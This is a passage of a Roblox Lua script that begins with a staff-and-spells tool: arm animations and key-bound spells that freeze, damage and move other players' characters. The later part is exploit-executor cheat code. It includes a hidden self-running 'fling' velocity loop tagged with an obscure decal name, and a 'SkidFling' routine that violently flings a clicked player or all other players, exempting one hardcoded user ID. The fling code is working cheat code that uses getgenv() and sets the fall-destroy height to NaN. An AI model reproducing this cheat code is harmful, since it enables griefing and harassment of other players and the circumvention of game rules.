						left.C1 = CFrame.new(1.51,.1,-.05)*CFrame.Angles((math.pi*-.0),(math.pi*0),(math.pi*.05)) 
						wait() 
						left.C1 = CFrame.new(1.51,.1,-.05)*CFrame.Angles((math.pi*-.1),(math.pi*0),(math.pi*.05)) 
						wait() 
						left.C1 = CFrame.new(1.47,.2,-.1)*CFrame.Angles((math.pi*-.2),(math.pi*0),(math.pi*.1)) 
						wait() 
						left.C1 = CFrame.new(1.43,.3,-.15)*CFrame.Angles((math.pi*-.3),(math.pi*0),(math.pi*.15)) 
						wait() 
						left.C1 = CFrame.new(1.39,.4,-.2)*CFrame.Angles((math.pi*-.4),(math.pi*0),(math.pi*.2)) 
						wait() 
						left.C1 = CFrame.new(1.35,.5,-.25)*CFrame.Angles((math.pi*-.5),(math.pi*0),(math.pi*.25)) 
						wait(.5) 
						left.C1 = CFrame.new(1.39,.4,-.2)*CFrame.Angles((math.pi*-.4),(math.pi*0),(math.pi*.2)) 
						wait() 
						left.C1 = CFrame.new(1.43,.3,-.15)*CFrame.Angles((math.pi*-.3),(math.pi*0),(math.pi*.15)) 
						wait() 
						left.C1 = CFrame.new(1.47,.2,-.1)*CFrame.Angles((math.pi*-.2),(math.pi*0),(math.pi*.1)) 
						wait() 
						left.C1 = CFrame.new(1.51,.1,-.05)*CFrame.Angles((math.pi*-.1),(math.pi*0),(math.pi*.05)) 
						wait() 
						left.C1 = CFrame.new(1.51,.1,-.05)*CFrame.Angles((math.pi*-.0),(math.pi*0),(math.pi*.05)) 
					elseif key == "r" then 
						left.C1 = CFrame.new(1.51,.1,-.05)*CFrame.Angles((math.pi*-.0),(math.pi*0),(math.pi*.05)) 
						wait() 
						left.C1 = CFrame.new(1.42,0.62,0)*CFrame.Angles((math.pi*0),(math.pi*0),(math.pi*.3)) 
						wait() 
						left.C1 = CFrame.new(1.29,0.84,0)*CFrame.Angles((math.pi*0),(math.pi*0),(math.pi*.35)) 
						wait() 
						left.C1 = CFrame.new(1.16,1.06,0)*CFrame.Angles((math.pi*0),(math.pi*0),(math.pi*.4)) 
						wait() 
						left.C1 = CFrame.new(1.03,1.28,0)*CFrame.Angles((math.pi*0),(math.pi*0),(math.pi*.45)) 
						wait() 
						left.C1 = CFrame.new(0.9,1.5,0)*CFrame.Angles((math.pi*0),(math.pi*0),(math.pi*.5)) 
						wait(.2) 
						left.C1 = CFrame.new(0.9,1.5,-0.15)*CFrame.Angles((math.pi*-.15),(math.pi*0),(math.pi*.5)) 
						wait() 
						left.C1 = CFrame.new(0.9,1.5,-0.30)*CFrame.Angles((math.pi*-.30),(math.pi*0),(math.pi*.5)) 
						wait() 
						left.C1 = CFrame.new(0.9,1.5,-0.45)*CFrame.Angles((math.pi*-.45),(math.pi*0),(math.pi*.5)) 
						wait() 
						left.C1 = CFrame.new(0.9,1.5,-0.60)*CFrame.Angles((math.pi*-.60),(math.pi*0),(math.pi*.5)) 
						wait() 
						left.C1 = CFrame.new(0.9,1.5,-0.75)*CFrame.Angles((math.pi*-.75),(math.pi*0),(math.pi*.5)) 
						wait(.1) 
						left.C1 = CFrame.new(1.03,1.28,0)*CFrame.Angles((math.pi*-.60),(math.pi*0),(math.pi*.45)) 
						wait() 
						left.C1 = CFrame.new(1.16,1.06,0)*CFrame.Angles((math.pi*-.45),(math.pi*0),(math.pi*.4)) 
						wait() 
						left.C1 = CFrame.new(1.29,0.84,0)*CFrame.Angles((math.pi*-.30),(math.pi*0),(math.pi*.35)) 
						wait() 
						left.C1 = CFrame.new(1.42,0.62,0)*CFrame.Angles((math.pi*-.15),(math.pi*0),(math.pi*.3)) 
						wait() 
						left.C1 = CFrame.new(1.51,.1,-.05)*CFrame.Angles((math.pi*-.0),(math.pi*0),(math.pi*.05)) 
					elseif key == "t" then 
						right.C1 = CFrame.new(-1.51,.1,-.05)*CFrame.Angles((math.pi*-.0),(math.pi*0),(math.pi*-.05)) 
						wait() 
						right.C1 = CFrame.new(-1.42,0.62,0)*CFrame.Angles((math.pi*0),(math.pi*0),(math.pi*-.3)) 
						wait() 
						right.C1 = CFrame.new(-1.29,0.84,0)*CFrame.Angles((math.pi*0),(math.pi*0),(math.pi*-.35)) 
						wait() 
						right.C1 = CFrame.new(-1.16,1.06,0)*CFrame.Angles((math.pi*0),(math.pi*0),(math.pi*-.4)) 
						wait() 
						right.C1 = CFrame.new(-1.03,1.28,0)*CFrame.Angles((math.pi*0),(math.pi*0),(math.pi*-.45)) 
						wait() 
						right.C1 = CFrame.new(-0.9,1.5,0)*CFrame.Angles((math.pi*0),(math.pi*0),(math.pi*-.5)) 
						wait(.2) 
						right.C1 = CFrame.new(-0.9,1.5,-0.15)*CFrame.Angles((math.pi*-.15),(math.pi*0),(math.pi*-.5)) 
						wait() 
						right.C1 = CFrame.new(-0.9,1.5,-0.30)*CFrame.Angles((math.pi*-.30),(math.pi*0),(math.pi*-.5)) 
						wait() 
						right.C1 = CFrame.new(-0.9,1.5,-0.45)*CFrame.Angles((math.pi*-.45),(math.pi*0),(math.pi*-.5)) 
						wait() 
						right.C1 = CFrame.new(-0.9,1.5,-0.60)*CFrame.Angles((math.pi*-.60),(math.pi*0),(math.pi*-.5)) 
						wait() 
						right.C1 = CFrame.new(-0.9,1.5,-0.75)*CFrame.Angles((math.pi*-.75),(math.pi*0),(math.pi*-.5)) 
						wait(.1) 
						right.C1 = CFrame.new(-1.03,1.28,0)*CFrame.Angles((math.pi*-.60),(math.pi*0),(math.pi*-.45)) 
						wait() 
						right.C1 = CFrame.new(-1.16,1.06,0)*CFrame.Angles((math.pi*-.45),(math.pi*0),(math.pi*-.4)) 
						wait() 
						right.C1 = CFrame.new(-1.29,0.84,0)*CFrame.Angles((math.pi*-.30),(math.pi*0),(math.pi*-.35)) 
						wait() 
						right.C1 = CFrame.new(-1.42,0.62,0)*CFrame.Angles((math.pi*-.15),(math.pi*0),(math.pi*-.3)) 
						wait() 
						right.C1 = CFrame.new(-1.51,.1,-.05)*CFrame.Angles((math.pi*-.0),(math.pi*0),(math.pi*-.05)) 
					end 
					-- spells------------------------------------------------------------------------------------- 
					if key == "f" then 
						loadstring(up)() 
						local wall = Instance.new("Part") 
						wall.Parent = Workspace 
						wall.Size = Vector3.new(10,1,10) 
						wall.formFactor = "Symmetric" 
						wall.CFrame = player.Torso.CFrame *CFrame.new(0,-3.42,0) 
						wall.TopSurface = 0 
						wall.BottomSurface = 0 
						wall.Anchored = true 
						wall.BrickColor = BrickColor.new(1006) 
						wall.Material = "Ice" 
						game:GetService("Debris"):AddItem(wall, 15) 
						while wall:IsDescendantOf(Workspace) do 
							wait() 
							wall.CFrame = player.Torso.CFrame*CFrame.new(0,-3.42,0) 
						end 
						wait(.5) 
						loadstring(down)() 
					end 
					if key == "g" then 
						if mouse.Target then 
							if mouse.Target.Parent:findFirstChild("Humanoid") ~= nil then 
								local tar = mouse.Target 
								loadstring(up)() 
								local spark = Instance.new("Explosion") 
								spark.BlastRadius = 4 
								spark.BlastPressure = 0 
								spark.Parent = Workspace 
								spark.Position = tip2.Position 
								local ptar = tar.Parent 
								local mis = Instance.new("Part") 
								mis.formFactor = "Symmetric" 
								mis.Shape = "Ball" 
								mis.BrickColor = BrickColor.new(1006) 
								mis.Transparency = .5 
								mis.Size = Vector3.new(1,1,1) 
								mis.Parent = Workspace 
								mis.CFrame = staff.CFrame * CFrame.new(0,0,-15) 
								local misv = Instance.new("BodyVelocity") 
								misv.Parent = mis 
								misv.maxForce = Vector3.new(math.huge,math.huge,math.huge) 
								misv.velocity = mis.CFrame.lookVector * 50 
								local misg = Instance.new("BodyGyro") 
								misg.maxTorque = Vector3.new(math.huge,math.huge,math.huge) 
								misg.Parent = mis 
								misg.cframe = CFrame.new(tar.Position, mis.Position) 
								mis.Touched:connect(function(hit) 
									if hit.Name == tar.Name then 
										local ex = Instance.new("Explosion") 
										ex.Parent = Workspace 
										ex.Position = mis.Position 
										mis:remove() 
									end 
								end) 
								wait(.5) 
								loadstring(down)() 
								while mis.Parent == Workspace and tar:IsDescendantOf(Workspace) do 
									wait() 
									misg.cframe = CFrame.new(tar.Position, mis.Position) 
									local fire = Instance.new("Explosion") 
									fire.Parent = Workspace 
									fire.Position = mis.Position 
									fire.BlastRadius = 2 
									misv.velocity = mis.CFrame.lookVector * -18 
								end 
								mis:remove() 
							end 
						end 
					end 
					if key == "b" then 
						loadstring(up)() 
						for i = 1,100 do 
							wait() 
							local p = Instance.new("Part") 
							p.BrickColor = BrickColor.new(1006) 
							p.Name ="check" 
							p.Parent = Workspace 
							p.CanCollide = false 
							p.Size = Vector3.new(1,3,1) 
							p.CFrame = player.Torso.CFrame + Vector3.new(math.random(-5,5),math.random(-2,4),math.random(-5,5)) 
							p.formFactor = "Symmetric" 
							p.TopSurface = 0 
							p.BottomSurface = 0 
							p.Transparency = .5 
							local pm = Instance.new("SpecialMesh") 
							pm.Parent = p 
							pm.MeshType = "Sphere" 
							pm.Scale = Vector3.new((.2+(.05*i)),(.2+(.05*i)),(.2+(.05*i))) 
							local pbv = Instance.new("BodyVelocity") 
							pbv.Parent = p 
							pbv.velocity = Vector3.new(0,10,0) 
							game:GetService("Debris"):AddItem(p, .2) 
							player.Humanoid.Health = player.Humanoid.Health +2 
						end 
						player.Torso.CFrame = mouse.Hit + Vector3.new(0,4,0) 
						wait(.5) 
						loadstring(down)() 
					end 
					if key == "v" then 
						local tar = mouse.Target 
						if tar ~= nil then 
							if (tip6a.Position - tar.Position).magnitude < 100 then 
								loadstring(up)() 
								local shot = Instance.new("Part") 
								shot.Parent = Workspace 
								shot.BrickColor = BrickColor.new("Cyan") 
								shot.formFactor = "Symmetric" 
								shot.Size = Vector3.new(1,1,1) 
								shot.Anchored = true 
								local shotm = Instance.new("BlockMesh") 
								shotm.Scale = Vector3.new(.2,.2,(tip6a.Position - mouse.Hit.p).magnitude) 
								shot.CFrame = CFrame.new(((tip6a.Position + mouse.Hit.p)/2),mouse.Hit.p) 
								shotm.Parent = shot 
								if tar.Parent:findFirstChild("Humanoid") ~= nil then 
									local ice = Instance.new("Part") 
									ice.Position = tar.Parent.Torso.Position 
									ice.Anchored = true 
									tar.Parent.Torso.Anchored = true 
									ice.BrickColor = BrickColor.new("Cyan") 
									ice.Size = Vector3.new(4,6,4) 
									ice.Reflectance = .2 
									ice.TopSurface = 0 
									ice.BottomSurface = 0 
									ice.Transparency = .5 
									ice.Parent = tar.Parent 
									coroutine.resume(coroutine.create(function() kill(tar) end)) 
								end 
								wait(.1) 
								shot:remove() 
							end 
							wait(.5) 
							loadstring(down)() 
						end 
					end 
					if key == "c" then 
						local tar = mouse.Target 
						if tar ~= nil then 
							if (tip6a.Position - tar.Position).magnitude < 100 then 
								loadstring(up)() 
								right.C1 = CFrame.new(-1.35,.5,-.25)*CFrame.Angles((math.pi*-.5),(math.pi*0),(math.pi*-.25)) 
								local shot = Instance.new("Part") 
								shot.Parent = Workspace 
								shot.BrickColor = BrickColor.new("Royal purple") 
								shot.formFactor = "Symmetric" 
								shot.Size = Vector3.new(1,1,1) 
								shot.Anchored = true 
								local shotm = Instance.new("BlockMesh") 
								shotm.Scale = Vector3.new(.2,.2,(tip6a.Position - mouse.Hit.p).magnitude) 
								shot.CFrame = CFrame.new(((tip6a.Position + mouse.Hit.p)/2),mouse.Hit.p) 
								shotm.Parent = shot 
								if tar.className == "Part" then 
									local ice = Instance.new("Part") 
									ice.CFrame = tar.CFrame 
									ice.Size = tar.Size + Vector3.new(1,1,1) 
									ice.Anchored = true 
									tar.Anchored = true 
									ice.BrickColor = BrickColor.new("Cyan") 
									ice.Reflectance = .2 
									ice.TopSurface = 0 
									ice.BottomSurface = 0 
									ice.Transparency = .5 
									ice.Parent = tar 
									ice.Friction = 0 
									game:GetService("Debris"):AddItem(ice, 10) 
									wait(.1) 
									shot:remove() 
									wait(.5) 
									loadstring(down)() 
								end 
							end 
						end 
					end 
					if key == "h" then 
						loadstring(up)() 
						local cf = CFrame.new(tip2.Position, mouse.Hit.p) 
						local v = cf.lookVector 
						local dx = (math.random() - .5) * .02 
						local dy = (math.random() - .5) * .02 
						local dz = (math.random() - .5) * .02 
						parts = {} 
						local f = coroutine.create(function() fire(Vector3.new(v.x + dx, v.y + dy, v.z + dz)) end) 
						coroutine.resume(f) 
						wait(.5) 
						loadstring(down)() 
					end 
					if key == "y" then 
						loadstring(up)() 
						for i = 2,101 do 
							wait() 
							local boulder = Instance.new("Part") 
							boulder.TopSurface = 0 
							boulder.BottomSurface = 0 
							boulder.Anchored = true 
							boulder.BrickColor = BrickColor.new("Dark stone grey") 
							boulder.Size = Vector3.new((i+math.random(-1,1)),(i+math.random(-1,1)),2) 
							boulder.CFrame = tip.CFrame * CFrame.new(0,0,-2*i) 
							boulder.Velocity = boulder.CFrame.lookVector * 500 
							boulder.Material = "Slate" 
							boulder.Parent = Workspace 
							boulder.Touched:connect(function(hit) 
								if hit.Parent:findFirstChild("Humanoid") ~= nil then 
									hit.Parent.humanoid.Sit = true 
								end 
							end) 
							game:GetService("Debris"):AddItem(boulder, .8) 
						end 
						loadstring(down)() 
					end 
					if key == "n" then 
						local tar = mouse.Target 
						if tar~= nil then 
							if tar.Parent:findFirstChild("Humanoid") ~= nil then 
								if tar.Parent:findFirstChild("Torso") ~= nil then 
									loadstring(up)() 
									for i = 1,100 do 
										wait() 
										local p = Instance.new("Part") 
										p.BrickColor = BrickColor.new(1006) 
										p.Name ="check" 
										p.Parent = Workspace 
										p.CanCollide = false 
										p.Size = Vector3.new(1,3,1) 
										p.CFrame = tar.Parent.Torso.CFrame + Vector3.new(math.random(-5,5),math.random(-2,4),math.random(-5,5)) 
										p.formFactor = "Symmetric" 
										p.TopSurface = 0 
										p.BottomSurface = 0 
										p.Transparency = .5 
										local pm = Instance.new("SpecialMesh") 
										pm.Parent = p 
										pm.MeshType = "Sphere" 
										pm.Scale = Vector3.new((.2+(.05*i)),(.2+(.05*i)),(.2+(.05*i))) 
										local pbv = Instance.new("BodyVelocity") 
										pbv.Parent = p 
										pbv.velocity = Vector3.new(0,10,0) 
										game:GetService("Debris"):AddItem(p, .2) 
										tar.Parent.Humanoid.Health = tar.Parent.Humanoid.Health +2 
									end 
									tar.Parent.Torso.CFrame = mouse.Hit + Vector3.new(0,4,0) 
									wait(.5) 
									loadstring(down)() 
								end 
							end 
						end 
					end 
					if key == "u" then 
						loadstring(up)() 
						local start = Instance.new("Part") 
						start.Parent = Workspace 
						start.Position = mouse.Hit.p + Vector3.new(0,18,0) 
						start.Anchored = true 
						start.Size = Vector3.new(1,1,1) 
						start.Transparency = 1 
						for i = 1,36 do 
							start.CFrame = start.CFrame * CFrame.Angles(math.rad(0),math.rad(5),math.rad(0)) 
							local wall1 = Instance.new("Part") 
							wall1.Parent = Workspace 
							wall1.BrickColor = BrickColor.new("Really black") 
							wall1.Size = Vector3.new(1,10,1) 
							wall1.Anchored = true 
							wall1.TopSurface = 0 
							wall1.CFrame = start.CFrame * CFrame.new(10,-15,0) 
							local wall2 = Instance.new("Part") 
							wall2.Parent = Workspace 
							wall2.BrickColor = BrickColor.new("Really black") 
							wall2.Size = Vector3.new(1,10,1) 
							wall2.Anchored = true 
							wall2.TopSurface = 0 
							wall2.CFrame = start.CFrame * CFrame.new(10,-15,0) 
							local wall1a = Instance.new("Part") 
							wall1a.Parent = Workspace 
							wall1a.BrickColor = BrickColor.new("Really black") 
							wall1a.Size = Vector3.new(1,10,1) 
							wall1a.Anchored = true 
							wall1a.TopSurface = 0 
							wall1a.CFrame = start.CFrame * CFrame.new(-10,-15,0) 
							local wall2a = Instance.new("Part") 
							wall2a.Parent = Workspace 
							wall2a.BrickColor = BrickColor.new("Really black") 
							wall2a.Size = Vector3.new(1,0,1) 
							wall2a.Anchored = true 
							wall2a.TopSurface = 0 
							wall2a.CFrame = start.CFrame * CFrame.new(-10,-15,0) 
							local roof = Instance.new("Part") 
							roof.Parent = Workspace 
							roof.Size = Vector3.new(0,1,1) 
							roof.BrickColor = BrickColor.new("Really black") 
							roof.Anchored = true 
							roof.CFrame = start.CFrame * CFrame.new(0,-10,0) 
							roof.TopSurface = 0 
							local roof2 = Instance.new("Part") 
							roof2.Parent = Workspace 
							roof2.Size = Vector3.new(1,1,20) 
							roof2.BrickColor = BrickColor.new("Really black") 
							roof2.Anchored = true 
							roof2.CFrame = start.CFrame * CFrame.new(0,-10,0) 
							roof2.TopSurface = 0 
							local roofa = Instance.new("Part") 
							roofa.Parent = Workspace 
							roofa.Size = Vector3.new(20,1,1) 
							roofa.BrickColor = BrickColor.new("Really black") 
							roofa.Anchored = true 
							roofa.CFrame = start.CFrame * CFrame.new(0,-20,0) 
							roofa.TopSurface = 0 
							local roof2a = Instance.new("Part") 
							roof2a.Parent = Workspace 
							roof2a.Size = Vector3.new(1,1,20) 
							roof2a.BrickColor = BrickColor.new("Really black") 
							roof2a.Anchored = true 
							roof2a.CFrame = start.CFrame * CFrame.new(0,-20,0) 
							roof2a.TopSurface = 0 
							game:GetService("Debris"):AddItem(roof, 15) 
							game:GetService("Debris"):AddItem(wall1, 15) 
							game:GetService("Debris"):AddItem(wall2, 15) 
							game:GetService("Debris"):AddItem(roof2, 15) 
							game:GetService("Debris"):AddItem(wall1a, 15) 
							game:GetService("Debris"):AddItem(wall2a, 15) 
							game:GetService("Debris"):AddItem(roofa, 15) 
							game:GetService("Debris"):AddItem(roof2a, 15) 
							wait() 
						end 
						start:remove() 
						wait(.5) 
						loadstring(down)() 
					end 
					if key == "m" then 
						local tar = mouse.Target 
						if tar.Parent:findFirstChild("Humanoid") ~= nil then 
							if tar.Parent.Name == "Minion" then 
								loadstring(up)() 
								while tar.Parent.Humanoid.Health >= 1 do 
									wait() 
									if player.Humanoid.Health == 0 then 
										tar.Parent.Humanoid:TakeDamage(1000) 
									else 
										tar.Parent.Torso.move.position = mouse.Hit.p 
									end 
								end 
								loadstring(down)() 
							end 
						end 
					end 
					if key == "j" then 
						local tar = mouse.Target 
						if tar.Parent:findFirstChild("Humanoid") ~= nil then 
							tar.Parent.Humanoid.Jump = true 
						end 
					elseif key == "k" then 
						local tar = mouse.Target 
						if tar.Parent:findFirstChild("Humanoid") ~= nil then 
							tar.Parent.Humanoid.Sit = true 
						end 
					elseif key == "l" then 
						local tar = mouse.Target 
						if tar.Parent:findFirstChild("Humanoid") ~= nil then 
							tar.Parent.Humanoid.PlatformStand = true 
						end 
					elseif key == "p" then 
						local min = Instance.new("Model") 
						min.Name = "Minion" 
						min.Parent = Workspace 
						local skel = Instance.new("Humanoid") 
						skel.Parent = min 
						skel.WalkSpeed = 16 
						skel.MaxHealth = 100 
						skel.Health = 100 
						local thing = Instance.new("Part") 
						thing.Name = "Head" 
						thing.formFactor = "Symmetric" 
						thing.TopSurface = 0 
						thing.BottomSurface = 0 
						thing.BrickColor = BrickColor.new(1003) 
						thing.Transparency = .3 
						thing.Size = Vector3.new(4,4,4) 
						thing.Parent = min 
						thing.Position = player.Torso.Position + Vector3.new(0,5,0) 
						thing.Shape = "Ball" 
						local thing2 = Instance.new("Part") 
						thing2.Name = "Torso" 
						thing2.formFactor = "Symmetric" 
						thing2.TopSurface = 0 
						thing2.BottomSurface = 0 
						thing2.BrickColor = BrickColor.new(1004) 
						thing2.Size = Vector3.new(1,1,1) 
						thing2.Parent = min 
						thing2.Position = player.Torso.Position + Vector3.new(0,5,0) 
						thing2.Shape = "Ball" 
						local live = Instance.new("Weld") 
						live.Parent = thing2 
						live.Part0 = thing2 
						live.Part1 = thing 
						live.Name = "Neck" 
						local move = Instance.new("BodyPosition") 
						move.Parent = thing2 
						move.position = player.Torso.Position 
						move.maxForce = Vector3.new(100,0,100) 
						move.Name = "move" 
						thing.Touched:connect(function(hit) 
							if hit.Parent:findFirstChild("Humanoid") ~= nil then 
								if hit.Parent.Name ~= player.Name then 
									if hit.Parent.Name ~= "Minion" then 
										if hit.Parent.Humanoid.MaxHealth > 100 then 
											hit.Parent.Humanoid.MaxHealth = 100 
										end 
										hit.Parent.Humanoid.Health = hit.Parent.Humanoid.Health - math.random(5,7) 
										hit.Parent.Humanoid.Sit = true 
										for i = 1, (math.random(1,3)) do 
											wait() 
											local bleed = Instance.new("Part") 
											bleed.formFactor = "Symmetric" 
											bleed.Size = Vector3.new(1,1,1) 
											bleed.BrickColor = BrickColor.new("Bright red") 
											bleed.TopSurface = 0 
											bleed.BottomSurface = 0 
											bleed.Reflectance = .1 
											bleed.Transparency = .4 
											bleed.Parent = Workspace 
											bleed.Position = thing.Position 
											local bleedm = Instance.new("SpecialMesh") 
											bleedm.MeshType = "Sphere" 
											bleedm.Scale = Vector3.new(.2,.2,.2) 
											bleedm.Parent = bleed 
											game:GetService("Debris"):AddItem(bleed, 5) 
										end 
									end 
								end 
							end 
						end) 
						coroutine.resume(coroutine.create(function() clean(min,thing2) end)) 
					end 
					--end of keys 
				end) 
				--end of script  
				staff:remove() 
				rs.Part1 = rarm 
				ls.Part1 = larm 
				right:remove() 
				left:remove() 
			end)
	
			---------------------------------------------------------------------------------
	
			if game:GetService("ReplicatedStorage"):FindFirstChild("juisdfj0i32i0eidsuf0iok") then
				hiddenfling = true
			else
				hiddenfling = true
				detection = Instance.new("Decal")
				detection.Name = "juisdfj0i32i0eidsuf0iok"
				detection.Parent = game:GetService("ReplicatedStorage")
				local function fling()
					local hrp, c, vel, movel = nil, nil, nil, 0.1
					while true do
						game:GetService("RunService").Heartbeat:Wait()
						if hiddenfling then
							local lp = game.Players.LocalPlayer
							while hiddenfling and not (c and c.Parent and hrp and hrp.Parent) do
								game:GetService("RunService").Heartbeat:Wait()
								c = lp.Character
								hrp = c:FindFirstChild("HumanoidRootPart") or c:FindFirstChild("Torso") or c:FindFirstChild("UpperTorso")
							end
							if hiddenfling then
								vel = hrp.Velocity
								hrp.Velocity = vel * 10000 + Vector3.new(0, 10000, 0)
								game:GetService("RunService").RenderStepped:Wait()
								if c and c.Parent and hrp and hrp.Parent then
									hrp.Velocity = vel
								end
								game:GetService("RunService").Stepped:Wait()
								if c and c.Parent and hrp and hrp.Parent then
									hrp.Velocity = vel + Vector3.new(0, movel, 0)
									movel = movel * -1
								end
							end
						end
					end
				end
	
				fling()
			end
	
			local Players = game:GetService("Players")
			local Mouse = game:GetService("Players").LocalPlayer:GetMouse()
	
			Mouse.Button1Down:Connect(function()
				local Target = Mouse.Target
				if Target and Target.Parent and Target.Parent:IsA("Model") and Players:GetPlayerFromCharacter(Target.Parent) then
					local PlayerName = Players:GetPlayerFromCharacter(Target.Parent).Name
					local player = game.Players.LocalPlayer
					local Targets = {PlayerName}
	
					local Players = game:GetService("Players")
					local Player = Players.LocalPlayer
	
					local AllBool = false
	
					local GetPlayer = function(Name)
						Name = Name:lower()
						if Name == "all" or Name == "others" then
							AllBool = true
							return
						elseif Name == "random" then
							local GetPlayers = Players:GetPlayers()
							if table.find(GetPlayers,Player) then table.remove(GetPlayers,table.find(GetPlayers,Player)) end
							return GetPlayers[math.random(#GetPlayers)]
						elseif Name ~= "random" and Name ~= "all" and Name ~= "others" then
							for _,x in next, Players:GetPlayers() do
								if x ~= Player then
									if x.Name:lower():match("^"..Name) then
										return x;
									elseif x.DisplayName:lower():match("^"..Name) then
										return x;
									end
								end
							end
						else
							return
						end
					end
	
					local Message = function(_Title, _Text, Time)
						print(_Title)
						print(_Text)
						print(Time)
					end
	
					local SkidFling = function(TargetPlayer)
						local Character = Player.Character
						local Humanoid = Character and Character:FindFirstChildOfClass("Humanoid")
						local RootPart = Humanoid and Humanoid.RootPart
	
						local TCharacter = TargetPlayer.Character
						local THumanoid
						local TRootPart
						local THead
						local Accessory
						local Handle
	
						if TCharacter:FindFirstChildOfClass("Humanoid") then
							THumanoid = TCharacter:FindFirstChildOfClass("Humanoid")
						end
						if THumanoid and THumanoid.RootPart then
							TRootPart = THumanoid.RootPart
						end
						if TCharacter:FindFirstChild("Head") then
							THead = TCharacter.Head
						end
						if TCharacter:FindFirstChildOfClass("Accessory") then
							Accessory = TCharacter:FindFirstChildOfClass("Accessory")
						end
						if Accessoy and Accessory:FindFirstChild("Handle") then
							Handle = Accessory.Handle
						end
	
						if Character and Humanoid and RootPart then
							if RootPart.Velocity.Magnitude < 50 then
								getgenv().OldPos = RootPart.CFrame
							end
							if THumanoid and THumanoid.Sit and not AllBool then
							end
							if THead then
								workspace.CurrentCamera.CameraSubject = THead
							elseif not THead and Handle then
								workspace.CurrentCamera.CameraSubject = Handle
							elseif THumanoid and TRootPart then
								workspace.CurrentCamera.CameraSubject = THumanoid
							end
							if not TCharacter:FindFirstChildWhichIsA("BasePart") then
								return
							end
	
							local FPos = function(BasePart, Pos, Ang)
								RootPart.CFrame = CFrame.new(BasePart.Position) * Pos * Ang
								Character:SetPrimaryPartCFrame(CFrame.new(BasePart.Position) * Pos * Ang)
								RootPart.Velocity = Vector3.new(9e7, 9e7 * 10, 9e7)
								RootPart.RotVelocity = Vector3.new(9e8, 9e8, 9e8)
							end
	
							local SFBasePart = function(BasePart)
								local TimeToWait = 2
								local Time = tick()
								local Angle = 0
	
								repeat
									if RootPart and THumanoid then
										if BasePart.Velocity.Magnitude < 50 then
											Angle = Angle + 100
	
											FPos(BasePart, CFrame.new(0, 1.5, 0) + THumanoid.MoveDirection * BasePart.Velocity.Magnitude / 1.25, CFrame.Angles(math.rad(Angle),0 ,0))
											task.wait()
	
											FPos(BasePart, CFrame.new(0, -1.5, 0) + THumanoid.MoveDirection * BasePart.Velocity.Magnitude / 1.25, CFrame.Angles(math.rad(Angle), 0, 0))
											task.wait()
	
											FPos(BasePart, CFrame.new(2.25, 1.5, -2.25) + THumanoid.MoveDirection * BasePart.Velocity.Magnitude / 1.25, CFrame.Angles(math.rad(Angle), 0, 0))
											task.wait()
	
											FPos(BasePart, CFrame.new(-2.25, -1.5, 2.25) + THumanoid.MoveDirection * BasePart.Velocity.Magnitude / 1.25, CFrame.Angles(math.rad(Angle), 0, 0))
											task.wait()
	
											FPos(BasePart, CFrame.new(0, 1.5, 0) + THumanoid.MoveDirection,CFrame.Angles(math.rad(Angle), 0, 0))
											task.wait()
	
											FPos(BasePart, CFrame.new(0, -1.5, 0) + THumanoid.MoveDirection,CFrame.Angles(math.rad(Angle), 0, 0))
											task.wait()
										else
											FPos(BasePart, CFrame.new(0, 1.5, THumanoid.WalkSpeed), CFrame.Angles(math.rad(90), 0, 0))
											task.wait()
	
											FPos(BasePart, CFrame.new(0, -1.5, -THumanoid.WalkSpeed), CFrame.Angles(0, 0, 0))
											task.wait()
	
											FPos(BasePart, CFrame.new(0, 1.5, THumanoid.WalkSpeed), CFrame.Angles(math.rad(90), 0, 0))
											task.wait()
	
											FPos(BasePart, CFrame.new(0, 1.5, TRootPart.Velocity.Magnitude / 1.25), CFrame.Angles(math.rad(90), 0, 0))
											task.wait()
	
											FPos(BasePart, CFrame.new(0, -1.5, -TRootPart.Velocity.Magnitude / 1.25), CFrame.Angles(0, 0, 0))
											task.wait()
	
											FPos(BasePart, CFrame.new(0, 1.5, TRootPart.Velocity.Magnitude / 1.25), CFrame.Angles(math.rad(90), 0, 0))
											task.wait()
	
											FPos(BasePart, CFrame.new(0, -1.5, 0), CFrame.Angles(math.rad(90), 0, 0))
											task.wait()
	
											FPos(BasePart, CFrame.new(0, -1.5, 0), CFrame.Angles(0, 0, 0))
											task.wait()
	
											FPos(BasePart, CFrame.new(0, -1.5 ,0), CFrame.Angles(math.rad(-90), 0, 0))
											task.wait()
	
											FPos(BasePart, CFrame.new(0, -1.5, 0), CFrame.Angles(0, 0, 0))
											task.wait()
										end
									else
										break
									end
								until BasePart.Velocity.Magnitude > 500 or BasePart.Parent ~= TargetPlayer.Character or TargetPlayer.Parent ~= Players or not TargetPlayer.Character == TCharacter or THumanoid.Sit or Humanoid.Health <= 0 or tick() > Time + TimeToWait
							end
	
							workspace.FallenPartsDestroyHeight = 0/0
	
							local BV = Instance.new("BodyVelocity")
							BV.Name = "EpixVel"
							BV.Parent = RootPart
							BV.Velocity = Vector3.new(9e8, 9e8, 9e8)
							BV.MaxForce = Vector3.new(1/0, 1/0, 1/0)
	
							Humanoid:SetStateEnabled(Enum.HumanoidStateType.Seated, false)
	
							if TRootPart and THead then
								if (TRootPart.CFrame.p - THead.CFrame.p).Magnitude > 5 then
									SFBasePart(THead)
								else
									SFBasePart(TRootPart)
								end
							elseif TRootPart and not THead then
								SFBasePart(TRootPart)
							elseif not TRootPart and THead then
								SFBasePart(THead)
							elseif not TRootPart and not THead and Accessory and Handle then
								SFBasePart(Handle)
							else
							end
	
							BV:Destroy()
							Humanoid:SetStateEnabled(Enum.HumanoidStateType.Seated, true)
							workspace.CurrentCamera.CameraSubject = Humanoid
	
							repeat
								RootPart.CFrame = getgenv().OldPos * CFrame.new(0, .5, 0)
								Character:SetPrimaryPartCFrame(getgenv().OldPos * CFrame.new(0, .5, 0))
								Humanoid:ChangeState("GettingUp")
								table.foreach(Character:GetChildren(), function(_, x)
									if x:IsA("BasePart") then
										x.Velocity, x.RotVelocity = Vector3.new(), Vector3.new()
									end
								end)
								task.wait()
							until (RootPart.Position - getgenv().OldPos.p).Magnitude < 25
							workspace.FallenPartsDestroyHeight = getgenv().FPDH
						else
						end
					end
	
					getgenv().Welcome = true
					if Targets[1] then for _,x in next, Targets do GetPlayer(x) end else return end
	
					if AllBool then
						for _,x in next, Players:GetPlayers() do
							SkidFling(x)
						end
					end
	
					for _,x in next, Targets do
						if GetPlayer(x) and GetPlayer(x) ~= Player then
							if GetPlayer(x).UserId ~= 1414978355 then
								local TPlayer = GetPlayer(x)
								if TPlayer then
									SkidFling(TPlayer)
								end
							else
							end
						elseif not GetPlayer(x) and not AllBool then
						end
					end
				end
			end)
		end)
	end)
end;
